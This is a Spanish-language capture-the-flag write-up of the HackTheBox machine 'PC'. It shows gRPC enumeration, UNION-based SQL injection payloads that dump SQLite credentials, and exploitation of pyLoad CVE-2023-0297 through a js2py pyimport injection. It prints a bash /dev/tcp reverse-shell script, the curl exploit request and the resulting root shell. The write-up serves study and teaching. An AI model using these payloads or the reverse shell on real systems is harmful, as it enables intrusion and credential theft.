HackTheBox - PC

PC es una máquina Linux que expone un endpoint de gRPC vulnerable a inyección SQL. Enumerando el servicio se descubre que el parámetro id del método getInfo es inyectable y se dumpea la base de datos SQLite obteniendo credenciales válidas. Una vez iniciada sesión como el usuario sau, pyLoad 0.5.0 se ejecuta localmente como root, versión con una vulnerabilidad (CVE-2023-0297) que permite escalar privilegios.
Reconocimiento
# Nmap 7.99 scan initiated Tue Jun 9 19:24:37 2026 as: /usr/lib/nmap/nmap -p- --open -sSCV --min-rate 10000 -n -Pn -v -oN scan 10.129.13.83
Nmap scan report for 10.129.13.83
Host is up (0.041s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_ 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open grpc
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 9 19:25:09 2026 -- 1 IP address (1 host up) scanned in 31.61 seconds
Solo dos puertos están abiertos: SSH en el puerto por defecto (22) y gRPC (un framework de llamadas a procedimientos remotos) en el 50051.
Puerto 50051 (gRPC)
Con gRPCurl se puede interactuar con el servicio. echo 'export PATH=$PATH:~/go/bin' >> ~/.zshrc; source ~/.zshrc si no está en el PATH.
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -help
Usage:
grpcurl [flags] [address] [list|describe] [symbol]
(...)
En la documentación se explica como enumerar los servicios con list
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
Con describe se obtienen más detalles del servicio SimpleApp:
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}
El output muestra los tipos de entrada que espera cada método y sus respuestas. Inspeccionamos los tipos nuevamente con describe:
LoginUser y RegisterUser aceptan username y password strings:
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe LoginUserRequest
LoginUserRequest is a message:
message LoginUserRequest {
string username = 1;
string password = 2;
}
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe RegisterUserRequest
RegisterUserRequest is a message:
message RegisterUserRequest {
string username = 1;
string password = 2;
}
getInfo acepta únicamente un id:
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext 10.129.13.83:50051 describe getInfoRequest
getInfoRequest is a message:
message getInfoRequest {
string id = 1;
}
Sabiendo esto, se puede crear una cuenta y autenticarse.
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -d 'username: "test", password: "test"' 10.129.13.83:50051 SimpleApp.RegisterUser
message: "Account created for user test!"
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -d 'username: "test", password: "test"' 10.129.13.83:50051 SimpleApp.LoginUser
message: "Your id is 756."
Pero, tratando de consultar getInfo con:
grpcurl -plaintext -format text -d 'id: "895"' 10.129.13.83:50051 SimpleApp.getInfo
Se obtiene el siguiente error: Authorization Error.Missing 'token' header. Curioso, porque al describir el endpoint solo se indicaba el campo id. Esto sugiere que el servidor devuelve algún header adicional fuera del cuerpo de la respuesta que no se muestra por defecto. Repitiendo el login con -vv (very verbose) para ver la respuesta completa:
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -vv -format text -d 'username: "test", password: "test"' 10.129.13.83:50051 SimpleApp.LoginUser
Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
Request metadata to send:
(empty)
Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
Estimated response size: 17 bytes
Response contents:
message: "Your id is 606."
Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NDc1Nn0.03GV8rFStIydtqDBLiLhfUGiq7qSxomIjxLBFjF933M'
Sent 1 request and received 1 response
Timing Data: 255.527235ms
Dial: 80.385357ms
BlockingDial: 80.374662ms
InvokeRPC: 134.369893ms
Se revelan los response trailers, donde se encuentra un JWT (JSON Web Token) que se tiene que pasar como header. Con ello, ahora se obtiene un mensaje de vuelta "Will update soon":
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NDc1Nn0.03GV8rFStIydtqDBLiLhfUGiq7qSxomIjxLBFjF933M' -d 'id: "606"' 10.129.13.83:50051 SimpleApp.getInfo
message: "Will update soon."
SQLi en gRPC
El servicio maneja usuarios con credenciales e IDs, lo que implica casi con certeza la existencia de una base de datos detrás. Probando si el parámetro id es inyectable con OR 1=1 la respuesta cambia, confirmando la inyección:
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 OR 1=1"' 10.129.13.83:50051 SimpleApp.getInfo
message: "The admin is working hard to fix the issues."
Determinar número de columnas
-d 'id: "777 UNION SELECT 1-- -"'
# message: "1" ← una sola columna
Identificar el motor de base de datos
-d 'id: "777 UNION SELECT sqlite_version()--"'
# message: "3.31.1" ← SQLite confirmado
Enumerar tablas
-d 'id: "777 UNION SELECT name FROM sqlite_master WHERE type=\"table\";-- -"'
# message: "accounts"
Enumerar columnas de la tabla accounts
-d 'id: "777 UNION SELECT GROUP_CONCAT(name, \",\") FROM pragma_table_info(\"accounts\");--"'
# message: "username,password"
Dumpear credenciales
-d 'id: "777 UNION SELECT GROUP_CONCAT(username || password) FROM accounts;--"'
# message: "adminadmin,sauHereIsYourPassWord1431"
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT 1-- -"' 10.129.13.83:50051 SimpleApp.getInfo
message: "1"
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT sqlite_version()--"' 10.129.13.83:50051 SimpleApp.getInfo
message: "3.31.1"
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT name
FROM sqlite_master WHERE type=\"table\";-- -"' 10.129.13.83:50051 SimpleApp.getInfo
Error invoking method "SimpleApp.getInfo": error getting request data: line 1, col 5: invalid syntax
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT name FROM sqlite_master WHERE type=\"table\";-- -"' 10.129.13.83:50051 SimpleApp.getInfo
message: "accounts"
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT GROUP_CONCAT(name, \",\") FROM pragma_table_info(\"accounts\");--"' 10.129.13.83:50051 SimpleApp.getInfo
message: "username,password"
┌──(root㉿kali)-[/home/noc/htb/pc/nmap]
└─# grpcurl -plaintext -format text -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTc4MTA2NTMwN30.sevEUh7XlqyIX5smoCCFhTXq9ZO8Ao8WTaDA8QhwBgE' -d 'id: "50 UNION SELECT GROUP_CONCAT(username || password) FROM accounts;--"' 10.129.13.83:50051 SimpleApp.getInfo
message: "adminadmin,sauHereIsYourPassWord1431"
Se obtienen las credenciales sau:HereIsYourPassWord1431, que permiten el acceso por SSH:
Escalada de Privilegios
Enumerando los puertos internos, aparecen dos interesantes: el 8000, que solo escucha en localhost, y el 9666, que escucha en todas las interfaces pero no apareció en el scan de nmap inicial. Para poder interactuar con ellos desde nuestra máquina atacante, se hace port forwarding con SSH:
┌──(root㉿kali)-[/home/noc]
└─# ssh -f -N -L 8000:127.0.0.1:8000 -L 9666:127.0.0.1:9666 sau@10.129.13.83
El puerto 9666 nos redirige al login de pyLoad, un gestor de descargas con interfaz web escrito en Python.
Se comprueba su versión y quién ejecuta el servicio:
sau@pc:~$ pyload --version
pyLoad 0.5.0
sau@pc:~$ ps aux | grep pyload
root 1043 0.0 1.8 1227064 72056 ? Ssl Jun09 0:05 /usr/bin/python3 /usr/local/bin/pyload
sau 2157 0.0 0.0 8160 2572 pts/0 S+ 02:05 0:00 grep --color=auto pyload
El proceso se ejecuta como root. Buscando vulnerabilidades de pyload 0.5.0, se descubre que esta versión tiene asignada la CVE-2023-0297, una RCE sin autenticación. Se abusa de js2py para inyectar y ejecutar código Python arbitrario a través del endpoint /flash/addcrypted2.
El endpoint /flash/addcrypted2 (puerto 8000) recibe el parámetro jk desde el cuerpo de la petición y lo evalúa directamente como JavaScript mediante js2py.eval_js(), sin ningún tipo de sanitización:
jk = flask.request.form["jk"]
jk = eval_js(f"{jk} f()")
js2py es una librería que ejecuta JavaScript en Python, y entre sus funcionalidades soporta pyimport, una sentencia que permite importar módulos Python desde el contexto JavaScript. Esto significa que desde el valor del parámetro jk se puede importar el módulo os de Python y llamar a os.system() para ejecutar comandos en el sistema:
pyimport os; os.system("id")
El endpoint no requiere autenticación ni CSRF token, por lo que cualquier atacante con acceso al servicio puede explotarla directamente con una simple petición POST.
Se puede crear una reverse shell en la máquina víctima:
sau@pc:/tmp$ cat revs.py
import os
os.system("bash -c '/bin/sh -i >& /dev/tcp/10.10.14.190/4444 0>&1'")
El payload que inyectaremos en el parámetro jk será simplemente pyimport os; os.system("python3 /tmp/revs.py"), que importa el módulo os de Python desde el contexto de js2py y ejecuta nuestro script:
┌──(root㉿kali)-[/home/noc]
└─# curl -i -s -k -X \('POST' --data-binary \)'jk=pyimport%20os;os.system(\"python3%20/tmp/revs.py\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' http://localhost:8000/flash/addcrypted2
┌──(root㉿kali)-[/home/noc]
└─# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.190] from (UNKNOWN) [10.129.13.83] 34932
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
57a4192b1d...




